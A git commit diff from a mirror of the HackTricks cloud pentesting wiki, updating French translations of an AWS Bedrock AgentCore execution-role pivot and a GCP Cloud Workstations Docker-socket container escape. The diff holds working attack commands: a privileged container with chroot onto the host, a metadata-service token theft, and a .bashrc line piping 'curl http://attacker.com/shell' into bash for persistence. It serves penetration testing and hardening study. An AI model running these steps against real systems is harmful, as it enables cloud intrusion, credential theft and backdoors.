mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
+23
-23
@@ -6,30 +6,30 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter est un environnement d'exécution géré. Les **Custom Code Interpreters** peuvent être configurés avec un **`executionRoleArn`** qui « fournit les permissions pour que le code interpreter accède aux services AWS ».
|
||||
AgentCore Code Interpreter est un environnement d'exécution géré. Les **Custom Code Interpreters** peuvent être configurés avec un **`executionRoleArn`** qui « fournit des permissions pour que le code interpreter accède aux services AWS ».
|
||||
|
||||
Si un **IAM principal à moindre privilèges** peut **start + invoke** une session Code Interpreter configurée avec un **execution role** plus privilégié, l'appelant peut effectivement **pivot into the execution role’s permissions** (lateral movement / privilege escalation selon le périmètre du rôle).
|
||||
Si un **IAM principal de moindre privilège** peut **start + invoke** une session Code Interpreter configurée avec un **execution role** plus privilégié, l'appelant peut effectivement **pivot into the execution role’s permissions** (mouvement latéral / escalation de privilèges selon la portée du rôle).
|
||||
|
||||
> [!NOTE]
|
||||
> Ceci est typiquement un problème de **misconfiguration / excessive permissions** (accorder de larges permissions au interpreter execution role et/ou accorder un accès broad invoke).
|
||||
> AWS met explicitement en garde pour éviter le privilege escalation en s'assurant que les execution roles ont des privilèges **égaux ou inférieurs** aux identités autorisées à invoquer.
|
||||
> Ceci est typiquement un problème de **misconfiguration / excessive permissions** (octroi de permissions larges au interpreter execution role et/ou attribution d'un invoke access étendu).
|
||||
> AWS avertit explicitement d'éviter l'escalade de privilèges en s'assurant que les execution roles ont **autant ou moins** de privilèges que les identités autorisées à les invoquer.
|
||||
|
||||
#### Préconditions (misconfiguration courante)
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- Un **custom code interpreter** existe avec un **execution role** excessivement privilégié (ex: accès à des S3/Secrets/SSM sensibles ou des capacités de type IAM-admin).
|
||||
- Un utilisateur (développeur/auditeur/identité CI) dispose des permissions pour :
|
||||
- démarrer des sessions : `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoquer des outils : `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optionnel) L'utilisateur peut aussi créer des interpreters : `bedrock-agentcore:CreateCodeInterpreter` (ce qui lui permet de créer un nouvel interpreter configuré avec un execution role, selon les org guardrails).
|
||||
- Un **custom code interpreter** existe avec un **execution role** sur-privégié (ex : accès à des S3/Secrets/SSM sensibles ou capacités de type IAM-admin).
|
||||
- Un utilisateur (développeur / auditeur / identité CI) a les permissions pour :
|
||||
- start sessions : `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools : `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optionnel) L'utilisateur peut aussi créer des interpreters : `bedrock-agentcore:CreateCodeInterpreter` (lui permet de créer un nouvel interpreter configuré avec un execution role, selon les garde-fous de l'organisation).
|
||||
|
||||
#### Recon (identifier les custom interpreters et l'utilisation des execution roles)
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Lister les interpreters (control-plane) et inspecter leur configuration:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> La commande create-code-interpreter prend en charge `--execution-role-arn` qui définit quelles autorisations AWS l'interpréteur aura.
|
||||
> La commande create-code-interpreter prend en charge `--execution-role-arn` qui définit les autorisations AWS dont disposera l'interpréteur.
|
||||
|
||||
#### Étape 1 - Démarrer une session (cela renvoie un `sessionId`, pas un shell interactif)
|
||||
```bash
|
||||
@@ -43,9 +43,9 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Étape 2 - Lancer l'exécution de code (Boto3 ou HTTPS signé)
|
||||
#### Étape 2 - Exécution de code (Boto3 ou HTTPS signé)
|
||||
|
||||
Il n'y a **pas de shell python interactif** provenant de `start-code-interpreter-session`. L'exécution se fait via **InvokeCodeInterpreter**.
|
||||
Il n'y a **pas de shell python interactif** depuis `start-code-interpreter-session`. L'exécution se fait via **InvokeCodeInterpreter**.
|
||||
|
||||
**Option A - Exemple Boto3 (exécuter Python + vérifier l'identité):**
|
||||
```python
|
||||
@@ -68,7 +68,7 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Si l'interpréteur est configuré avec un rôle d'exécution, la sortie de `sts:GetCallerIdentity()` doit refléter l'identité de ce rôle (et non celle de l'appelant à faible privilège), démontrant ainsi le pivot.
|
||||
Si l'interpréteur est configuré avec un rôle d'exécution, la sortie de `sts:GetCallerIdentity()` devrait refléter l'identité de ce rôle (et non pas celle de l'appelant peu privilégié), démontrant le pivot.
|
||||
|
||||
**Option B - Appel HTTPS signé (awscurl):**
|
||||
```bash
|
||||
@@ -89,18 +89,18 @@ awscurl -X POST \
|
||||
```
|
||||
#### Impact
|
||||
|
||||
* **Lateral movement** vers tout accès AWS dont dispose le rôle d'exécution de l'interpréteur.
|
||||
* **Privilege escalation** si le rôle d'exécution de l'interpréteur a plus de privilèges que l'appelant.
|
||||
* Détection plus difficile si les CloudTrail data events pour les invocations de l'interpréteur ne sont pas activés (les invocations peuvent ne pas être enregistrées par défaut, selon la configuration).
|
||||
* **Lateral movement** vers tout accès AWS que possède le rôle d'exécution de l'interpréteur.
|
||||
* **Privilege escalation** si le rôle d'exécution de l'interpréteur est plus privilégié que l'appelant.
|
||||
* Détection plus difficile si CloudTrail data events pour les invocations de l'interpréteur ne sont pas activés (les invocations peuvent ne pas être journalisées par défaut, selon la configuration).
|
||||
|
||||
#### Mitigations / Hardening
|
||||
|
||||
* **Least privilege** sur le `executionRoleArn` de l'interpréteur (traitez-le comme les rôles d'exécution Lambda / les rôles CI).
|
||||
* **Restreindre qui peut invoquer** (`bedrock-agentcore:InvokeCodeInterpreter`) et qui peut démarrer des sessions.
|
||||
* Utiliser **SCPs** pour refuser InvokeCodeInterpreter sauf pour les rôles d'exécution agent approuvés (une application au niveau de l'organisation peut être nécessaire).
|
||||
* Activer les **CloudTrail data events** appropriés pour AgentCore lorsque cela s'applique ; alerter sur les invocations inattendues et la création de sessions.
|
||||
* **Least privilege** sur le `executionRoleArn` de l'interpréteur (traitez-le comme les Lambda execution roles / CI roles).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) et qui peut démarrer des sessions.
|
||||
* Utilisez **SCPs** pour refuser InvokeCodeInterpreter sauf pour les rôles runtime d'agent approuvés (une application au niveau de l'organisation peut être nécessaire).
|
||||
* Activez les **CloudTrail data events** appropriés pour AgentCore le cas échéant ; générez des alertes sur les invocations inattendues et la création de sessions.
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
|
||||
+15
-15
@@ -3,16 +3,16 @@
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Le principal vecteur d'escalade de privilèges dans Cloud Workstations provient de la nécessité de supporter les workflows **Docker-in-Docker (DinD)** pour les développeurs. Lorsque la configuration du workstation monte le Docker socket ou autorise des privileged containers (une configuration courante), un attaquant à l'intérieur du container du workstation peut s'échapper vers la Compute Engine VM sous-jacente et voler son service account token.
|
||||
Le principal vecteur d'escalade de privilèges dans Cloud Workstations provient de la nécessité de supporter les workflows **Docker-in-Docker (DinD)** pour les développeurs. Lorsque la configuration du workstation monte le Docker socket ou autorise les privileged containers (configuration courante), un attacker à l'intérieur du workstation container peut s'échapper vers la Compute Engine VM sous-jacente et voler son service account token.
|
||||
|
||||
**Prérequis:**
|
||||
- Accès à un terminal Cloud Workstation (via SSH, session compromisee, ou identifiants volés)
|
||||
- La configuration du workstation doit monter `/var/run/docker.sock` ou activer privileged containers
|
||||
**Prerequisites:**
|
||||
- Accès à un terminal Cloud Workstation (via SSH, session compromise ou identifiants volés)
|
||||
- La configuration du workstation doit monter `/var/run/docker.sock` ou autoriser les privileged containers
|
||||
|
||||
**Contexte architectural:** Le workstation est un container (Layer 3) s'exécutant sur un runtime Docker/Containerd (Layer 2) sur une GCE VM (Layer 1). Le Docker socket donne un accès direct au runtime de container de l'hôte.
|
||||
**Architecture context:** Le workstation est un container (Layer 3) s'exécutant sur un runtime Docker/Containerd (Layer 2) sur une GCE VM (Layer 1). Le Docker socket donne un accès direct au runtime de containers de l'hôte.
|
||||
|
||||
> [!NOTE]
|
||||
> L'outil [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatise l'intégralité de l'évasion du container et vous place dans un shell root sur la VM hôte.
|
||||
> L'outil [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatise l'évasion complète du container et ouvre un shell root sur la VM hôte.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Étape 2 : Escape to the host VM filesystem</summary>
|
||||
<summary>Étape 2 : Échapper vers le système de fichiers de la VM hôte</summary>
|
||||
|
||||
Nous lançons un privileged container, montant le root directory du host sur `/mnt/host`. Nous partageons également le network et le PID namespace du host pour maximiser la visibilité.
|
||||
Nous lançons un container privilégié, montant le répertoire racine de l'hôte sur `/mnt/host`. Nous partageons aussi le réseau de l'hôte et l'espace de noms PID pour maximiser la visibilité.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,13 +38,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Vous avez maintenant un **root shell sur le Compute Engine VM sous-jacent** (Layer 1).
|
||||
Vous avez maintenant une **root shell on the underlying Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Étape 3 : Steal the VM service account token from IMDS</summary>
|
||||
<summary>Étape 3 : Voler le VM service account token depuis IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -62,15 +62,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
|
||||
> [!CAUTION]
|
||||
> **Vérifiez les scopes !**
|
||||
> Même si le Service Account attaché est **Editor**, la VM peut être restreinte par les scopes d'accès.
|
||||
> Même si le Service Account associé est **Editor**, la VM peut être restreinte par les scopes d'accès.
|
||||
> Si vous voyez `https://www.googleapis.com/auth/cloud-platform`, vous avez un accès complet.
|
||||
> Si vous ne voyez que `logging.write` et `monitoring.write`, vous êtes limité aux vecteurs **Network Pivot** et **Persistence** ci-dessous.
|
||||
> Si vous ne voyez que `logging.write` et `monitoring.write`, vous êtes limité aux vecteurs **Network Pivot** et **Persistence** ci‑dessous.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Étape 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations montent un disque persistant sur `/home/user`. Parce que l'utilisateur du conteneur (généralement `user`, UID 1000) correspond à l'utilisateur de l'hôte (UID 1000), vous pouvez écrire dans le répertoire personnel de l'hôte. Cela vous permet d'installer une backdoor dans l'environnement même si le workstation container est reconstruit.
|
||||
Cloud Workstations montent un disque persistant sur `/home/user`. Parce que l'utilisateur du container (généralement `user`, UID 1000) correspond à l'utilisateur de l'hôte (UID 1000), vous pouvez écrire dans le répertoire personnel de l'hôte. Cela vous permet de backdoor l'environnement même si le container de la workstation est reconstruit.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -83,9 +83,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Étape 5 : Network Pivot (Accès VPC interne)</summary>
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Puisque vous partagez l'espace de noms réseau de l'hôte (`--net=host`), vous êtes maintenant un nœud de confiance dans le VPC. Vous pouvez scanner les services internes qui autorisent l'accès basé sur IP whitelisting.
|
||||
Puisque vous partagez l'espace de noms réseau de l'hôte (`--net=host`), vous êtes maintenant un nœud de confiance sur le VPC. Vous pouvez scanner les services internes qui autorisent l'accès en fonction de l'IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user